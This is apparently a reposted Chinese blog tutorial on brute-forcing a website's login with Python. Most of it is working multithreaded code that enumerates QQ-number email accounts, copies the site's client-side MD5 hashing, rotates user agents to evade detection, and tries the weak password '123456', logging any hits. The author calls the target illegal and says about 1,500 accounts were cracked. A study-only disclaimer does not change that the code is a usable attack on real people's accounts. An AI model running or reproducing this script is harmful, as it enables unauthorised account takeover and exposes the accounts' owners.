• 如何通过Python暴力破解网站登陆密码


    首先申明,该文章只可以用于交流学习,不可以用于其他用途,否则后果自负。

    现在国家对网络安全的管理,越来越严,但是还是有一些不法网站逍遥法外,受限于国内的人力、物力,无法对这些网站进行取缔。

    今天演示的这个网站,就是属于非法的网站。

    首先看登陆界面。

     抓取登陆信息。

    使用Post Form表单的形式,进行用户名和密码的提交。接下来我们看提交的用户名和密码。

    我输入的密码和用户名一致,说明该站对提交的密码进行了处理,等一会我来看,密码是怎么处理的,现在我们看服务器的返回信息。

    服务器返回的是JSON,到这一步,我们就差密码了,只要知道密码是怎么生成的,就能加速对用户密码的破解了。

    查看网站的脚本,发现密码是先在本地做MD5处理之后,才发送到服务器的。

    到了这一步,我们也就初步知道如何对该网站进行暴力破解了。

    由于现在的人们在进行网站注册的时候,都是使用QQ邮箱进行注册的,因此我们可以先构建一个QQ邮箱,先判断盖邮箱存不存在,然后我们在判断密码正不正确。

    现在我们的思路理清楚了,接下来直接上干货。

    user_num_low = 111111111
    user_num_max = 9999999999
    user_nbr = user_num_low
    
    mutex=Lock()
    
    #构造用户邮箱
    def get_user_nbr():
        mutex.acquire(3)
        global  user_nbr
        user_name = '%s%s' % (str(user_nbr), '@qq.com')
        user_nbr = user_nbr + 1
        mutex.release()
        return user_name
    
    def user_end_judge():
        mutex.acquire(3)
        result = False
        if user_nbr > user_num_max :
            result = True
        else:
            result = False
        mutex.release()
        return  result
    
    def get_curr_user():
        mutex.acquire(3)
        global  user_nbr
        user_name = '%s%s' % (str(user_nbr), '@qq.com')
        mutex.release()
        return user_name

     构造用于判断密码邮箱是否存在

    user_agent = [
        'Mozilla/5.0 (Windows NT 5.2) AppleWebKit/534.30 (KHTML, like Gecko) Chrome/12.0.742.122 Safari/534.30',
        'Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0',
        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)',
        'Opera/9.80 (Windows NT 5.1; U; zh-cn) Presto/2.9.168 Version/11.50',
        'Mozilla/5.0 (Windows; U; Windows NT 5.1; zh-CN) AppleWebKit/533.21.1 (KHTML, like Gecko) Version/5.0.5 Safari/533.21.1',
        'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET4.0E; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C)'
    ]
    
    def save_pwd(user, pwd,desc):
        with open("resut.txt","a+") as f:
            f.write('user:'+ user + '  pwd:' + pwd + " desc:" + desc + '
    ')
    
    def user_test(username,password):
        resp = ""
        result = ""
        url = "http://www.k*.htm"
        pwd = password
        user= username
        md = hashlib.md5()
        md.update(pwd)
        password =  md.hexdigest()
        data = {'email':username,'password':password}
    
        # 设置网页编码格式,解码获取到的中文字符
        encoding = "gb18030"
        # 构造http请求头,设置user-agent
        header = {
            "User-Agent": random.choice(user_agent),
            'Content-Type':'application/x-www-form-urlencoded; charset=UTF-8',
            'X-Requested-With':'XMLHttpRequest'
        }
    
        try:
            requests.adapters.DEFAULT_RETRIES = 5
            resp = requests.post(url, data=data, headers=header, timeout=335)
        except requests.exceptions.ReadTimeout:
            print("1")
            time.sleep(10)
            resp = requests.post(url, data=data, headers=header, timeout=335)
        except requests.exceptions.Timeout:
            print("2")
            time.sleep(10)
            resp = requests.post(url, data=data, headers=header, timeout=335)
        except requests.exceptions.ConnectionError:
            print("3")
            time.sleep(10)
            resp = requests.post(url, data=data, headers=header, timeout=335)
        except socket.error:
            time.sleep(10)
            resp = requests.post(url, data=data, headers=header, timeout=335)
        except BaseException as e:
            print(e)
            time.sleep(10)
            resp = requests.post(url, data=data, headers=header, timeout=335)
    
        resp.keep_alive = False
        #print(resp.content)
        try:
            result = resp.content
            json = resp.json()
            print('邮箱:%s ,result:%s 
     ' % (username,result))
            if (json['message'].find('不存在') > -1):
                #print('邮箱:%s 为空' % username )
                return False
            else:
                print('邮箱: %s 存在' % username)
                save_pwd(username, password, json['message'])
                return True
        except BaseException as e:
            print("发送错误 e: %s result:%s response code:%d" % (e, result, resp.status_code ))

    好了,我们获取到邮箱之后,就是要判断密码是否正确了,由于大部分人网站登陆,还是使用弱密码,我们可以到网上找一下相关的字典库,就可以直接破解了。

    判断密码是否正确,我们只需要在判断邮箱存在之后,再加一个判断即可。

      if(json['message'].find('错误') > -1):
                    print("邮箱: %s 密码: %s ,密码错误!" % (username,pwd))
                    return False
                else:
                    print('邮箱: %s  密码: %s ,登陆成功!' % (username, pwd))

    由于用户和密码验证较多,单一线程工作需要较长的时间,因此我们需要用上多线程,缩短密码破解时间。

    def thread_bru(): # 破解子线程函数
        #while not user_end_judge():pwd_queue.empty()
        while not user_end_judge():
            try:
                pwd = ‘123456’
                user = get_user_nbr()
                #print pwd_test
                #if user_test(user, pwd_test):
                if user_test(user, pwd):
                    result = pwd
                    print ('破解 %s 成功,密码为: %s' % (user, pwd))
                    break
            except BaseException as e:
                print("破解子线程错误: %s" % e)
    
    def brute(threads):
        for i in range(threads):
            t = threading.Thread(target=thread_bru)
            t.start()
            print('破解线程-->%s 启动' % t.ident)
        while (not user_end_judge()): # 剩余口令集判断
            print('
     进度: 当前值 %d' % pwd_queue.qsize())
            time.sleep(2)
            #print('
    破解完毕')
    
    if __name__ == "__main__":
        brute(150)

    好了,初步编写完成。我们先刷完一部电影过来看看最终结果吧。

    居然测试成功1500左右的邮箱,还有很多许多人是用非常简单的密码的。

    有不懂的问题,加企鹅群交流吧:98556420。

  • 相关阅读:
    EntityFramework之创建数据库及基本操作(一)
    Entity Framework Code First (八)迁移 Migrations
    [转]Tomcat启动报错:AnnotationConfigBeanDefinitionParser are only available on JDK 1.5 and higher
    [转]bootstrap table本地数据使用方法
    [转]MySQL-5.7 Update语句详解
    [转]操作MySQL数据库报出:Parameter index out of range (1 > number of parameters, which is
    [转]在MySQL中创建实现自增的序列(Sequence)的教程
    [转]MySQL如何设置自动增长序列 SEQUENCE
    [转]Mustache 使用心得总结
    [转]关于重定向RedirectAttributes的用法
  • 原文地址:https://www.cnblogs.com/kmust/p/9163512.html
Copyright © 2020-2023  润新知